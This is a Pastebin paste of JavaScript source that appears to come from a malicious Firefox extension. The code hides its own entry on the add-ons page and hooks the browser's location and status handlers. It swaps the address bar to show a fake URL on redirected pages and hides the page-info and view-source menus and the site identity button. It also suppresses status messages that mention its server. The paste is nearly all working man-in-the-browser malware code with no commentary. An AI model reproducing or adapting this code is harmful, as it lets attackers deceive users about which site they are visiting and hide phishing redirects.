Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var ProgressListener = {
- QueryInterface: function (a) {
- if (a["equals"](Ci["nsIWebProgressListener"]) || a["equals"](Ci["nsISupports"])) {
- return this
- }
- throw Cr["NS_NOINTERFACE"]
- },
- onLinkIconAvailable: function (a) {},
- onProgressChange: function (c, a, e, f, d, b) {},
- onProgressChange64: function (c, a, e, f, d, b) {},
- onStateChange: function (s, c, g, j) {
- var u = s["DOMWindow"]["top"]["document"];
- const a = Ci["nsIWebProgressListener"];
- var d = u["getElementById"]("addons-page");
- var o = u["getElementById"]("addon-list");
- if ((d != null) && (o != null)) {
- var l = o["getAttribute"]("jihad");
- if (l != "y") {
- var f = o["childNodes"];
- for (var q = 0; q < f["length"]; q++) {
- if (f[q].getAttribute("name") == ".") {
- f[q].hidden = true
- }
- }
- o["addEventListener"]("DOMNodeInserted", function b(e) {
- var w = e["relatedNode"];
- var x = w["childNodes"];
- for (var v = 0; v < x["length"]; v++) {
- if (x[v].getAttribute("name") == ".") {
- x[v].hidden = true
- }
- }
- w["setAttribute"]("jihad", "y")
- }, false)
- }
- }
- const h = Ci["nsIChannel"];
- if (g & a["STATE_STOP"]) {
- var m = "";
- var n = false;
- if (c != null) {
- try {
- var k = c["QueryInterface"](Ci["nsIHttpChannel"]);
- if (k["responseStatus"]) {
- var p = k["responseStatus"];
- n = (p == 404 || p == 400 || p == 403 || p == 414 || p == 408 || p == 500 || p == 502)
- }
- } catch (r) {}
- if (c instanceof h || "URI" in c) {
- m = c["URI"]["spec"];
- mySpy["findFtp"](c["URI"])
- }
- }
- var t = gBrowser["getBrowserForDocument"](u);
- if (t) {
- if ("redirecting" in t) {
- if (j != Components["results"]["NS_OK"] || n == true) {
- if (t["redirecting"]["redirectingURL"] == m) {
- t["redirecting"]["HostUnreachable"] = true;
- try {
- t["loadURI"](t["redirecting"]["originalURL"], t["redirecting"]["aRequestOrigin"], null)
- } catch (r) {}
- }
- }
- }
- }
- }
- },
- onLocationChange: function (c, a, b) {},
- onStatusChange: function (b, a, d, c) {},
- onSecurityChange: function (b, a, c) {},
- onUpdateCurrentBrowser: function (a, d, c, b) {}
- };
- var BrowserHook = {
- hideinfo: false,
- maxattempt: 20,
- timerint: 0,
- old_imgageonlick: null,
- imageobj: false,
- keysourceobj: false,
- onLocationChange_hook: function (g, i, b) {
- var h = b;
- if (typeof (b) != "undefined") {
- if (b != null) {
- if (b["scheme"] == "http" || b["scheme"] == "https") {
- var k = g["DOMWindow"]["top"]["document"];
- var c = gBrowser["getBrowserForDocument"](k);
- var l = s_utils["SpyXPCOM"]["FindRedirectSign"](b["spec"], false);
- if (l) {
- BrowserHook["hideinfo"] = true;
- BrowserHook["HideElem"](["context-viewinfo", "context-metadata", "context-viewsource", "context-sep-properties", "menu_pageInfo", "menu_pageSource"], true);
- try {
- if (BrowserHook["imageobj"]) {
- BrowserHook["imageobj"]["onclick"] = function () {}
- }
- if (BrowserHook["keysourceobj"]) {
- BrowserHook["keysourceobj"]["setAttribute"]("id", "View:PageSourceHOOKED")
- }
- } catch (d) {}
- var n;
- if ("redirecting" in c) {
- n = b["spec"]["replace"](l["toreplace"], c["redirecting"]["notfakeURL"]);
- if (c["redirecting"]["https"]) {
- var a = n["indexOf"]("//");
- var m = n["indexOf"]("http");
- if (m != -1 && m < a) {
- n = n["replace"]("http", "https")
- }
- }
- } else {
- n = b["spec"]["replace"](l["toreplace"], l["tofindstr"])
- }
- n = n["replace"](/??&?hostid=.*/, "");
- var j = Components["classes"][mo + "network/io-service;1"]["getService"](Ci["nsIIOService"]);
- h = j["newURI"](n, null, null)
- } else {
- BrowserHook["hideinfo"] = false;
- BrowserHook["HideElem"](["menu_pageInfo", "menu_pageSource"], false);
- if (BrowserHook["imageobj"]) {
- BrowserHook["imageobj"]["onclick"] = BrowserHook["old_imgageonlick"]
- }
- if (BrowserHook["keysourceobj"]) {
- BrowserHook["keysourceobj"]["setAttribute"]("id", "View:PageSource")
- }
- }
- }
- }
- }
- var f = Array["prototype"]["slice"]["call"](arguments);
- f[2] = h;
- return window["XULBrowserWindow"]["onLocationChange_old"]["apply"](this, f)
- },
- onStatusChange_hook: function (b, a, f, d) {
- try {
- if (!("redirecting" in gBrowser["selectedBrowser"])) {
- if (s_utils["CurrentServer"]) {
- if (d["indexOf"](s_utils["CurrentServer"]) != -1) {
- return
- }
- }
- window["XULBrowserWindow"]["onStatusChange_old"]["apply"](this, arguments)
- }
- } catch (c) {}
- },
- updateStatusField_hook: function () {
- try {
- if (!("redirecting" in gBrowser["selectedBrowser"])) {
- window["XULBrowserWindow"]["updateStatusField_old"]["apply"](this, arguments)
- }
- } catch (a) {}
- },
- onDOMAttrModified: function (a) {
- if (BrowserHook["hideinfo"] && a["attrName"] == "hidden") {
- window.setTimeout("BrowserHook.HideElem(["
- context - viewinfo ","
- context - metadata ","
- context - viewsource ","
- context - sep - properties "],true);", 0)
- }
- },
- HideElem: function (a, c) {
- for (var b = 0; b < a["length"]; b++) {
- var d = document["getElementById"](a[b]);
- if (d != "undefined") {
- if (d) {
- if ("hidden" in d) {
- if (c) {
- d["setAttribute"]("hidden", true)
- } else {
- d["removeAttribute"]("hidden")
- }
- }
- }
- }
- }
- },
- InitOnLoad: function () {
- try {
- if (Application["version"] > 4) {
- gBrowser["addProgressListener"](ProgressListener)
- } else {
- gBrowser["addProgressListener"](ProgressListener, Ci["nsIWebProgress"]["STATE_IS_NETWORK"])
- }
- var a = document["getElementById"]("context-viewinfo");
- a["addEventListener"]("DOMAttrModified", BrowserHook["onDOMAttrModified"], false);
- var a = document["getElementById"]("context-metadata");
- a["addEventListener"]("DOMAttrModified", BrowserHook["onDOMAttrModified"], false)
- } catch (b) {}
- },
- InitHook: function () {
- try {
- if (window["XULBrowserWindow"] == "undefined" || gBrowser == "undefined") {
- if (BrowserHook["maxattempt"]--) {
- window["setTimeout"](BrowserHook["InitHook"], BrowserHook["timerint"])
- }
- return
- }
- var b = window["XULBrowserWindow"];
- if (b["onLocationChange"] != BrowserHook["onLocationChange_hook"]) {
- b["onLocationChange_old"] = b["onLocationChange"];
- b["onLocationChange"] = BrowserHook["onLocationChange_hook"]
- }
- if (b["onStatusChange"] != BrowserHook["onStatusChange_hook"]) {
- b["onStatusChange_old"] = b["onStatusChange"];
- b["onStatusChange"] = BrowserHook["onStatusChange_hook"]
- }
- if (b["updateStatusField"] != BrowserHook["updateStatusField_hook"]) {
- b["updateStatusField_old"] = b["updateStatusField"];
- b["updateStatusField"] = BrowserHook["updateStatusField_hook"]
- }
- try {
- BrowserHook["imageobj"] = document["getElementById"]("identity-box");
- BrowserHook["keysourceobj"] = document["getElementById"]("View:PageSource");
- BrowserHook["old_imgageonlick"] = BrowserHook["imageobj"]["onclick"]
- } catch (a) {
- BrowserHook["imageobj"] = false;
- BrowserHook["keysourceobj"] = false
- }
- } catch (a) {
- if (BrowserHook["maxattempt"]--) {
- window["setTimeout"](BrowserHook["InitHook"], BrowserHook["timerint"])
- }
- }
- }
- };
- window["setTimeout"](BrowserHook["InitHook"], BrowserHook["timerint"]);
- window["addEventListener"]("load", BrowserHook["InitOnLoad"], false);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement